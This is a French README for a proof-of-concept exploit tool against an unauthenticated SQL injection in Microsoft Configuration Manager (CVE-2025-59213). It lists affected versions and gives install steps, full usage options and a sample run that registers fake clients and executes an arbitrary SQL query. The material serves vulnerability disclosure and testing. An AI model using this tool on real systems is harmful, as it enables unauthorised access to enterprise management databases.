Microsoft Configuration Manager (ConfigMgr / SCCM) 2503 - Exploit d'injection SQL non authentifiée (CVE-2025-59213)

Ce script exploite la vulnérabilité CVE-2025-59213, qui permet à un attaquant non authentifié ayant un accès réseau à un point de gestion d'exécuter des requêtes SQL arbitraires sur la base de données du site en abusant d'une faille d'injection SQL dans la méthode DuplicateAMTMachineRecord du Discovery Data Manager (DDM), où le champ non échappé Hardware_ID0 est mal géré lors de la fusion de deux clients avec des identifiants matériels conflictuels.

Lorsque KB34503790 est manquant, toutes les versions suivantes de Microsoft Configuration Manager sont vulnérables :

< 2503 (5.00.9135.1008)
< 2409 (5.00.9132.1029)
< 2403 (5.00.9128.1035)
<= 2303 (*)

Prérequis

Dans certains cas, lorsque le point de gestion est configuré avec le mode de communication HTTPS Only, un certificat PKI est requis pour effectuer une authentification mutuelle TLS auprès du service HTTP vulnérable. Tout certificat délivré par la PKI interne avec l'usage Client Authentication fonctionnera.
Si vous n'avez pas de certificat, utilisez l'option --altauth (plus d'informations ici)

Remarques

L'exploit nécessite l'enregistrement de deux faux clients, que le script supprime automatiquement après une injection SQL réussie, sauf si l'option --no-clean est utilisée ou si un correctif empêche le nettoyage de se déclencher.
Étant donné que l'injection est asynchrone, les payloads basés sur le temps sont inefficaces, car il n'y a pas de corrélation directe entre l'exécution et le temps de réponse.

Installation

Vous pouvez installer l'outil en clonant le dépôt et en installant les dépendances.

$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Utilisation

 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

Exemple

$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully

CVE-2025-59213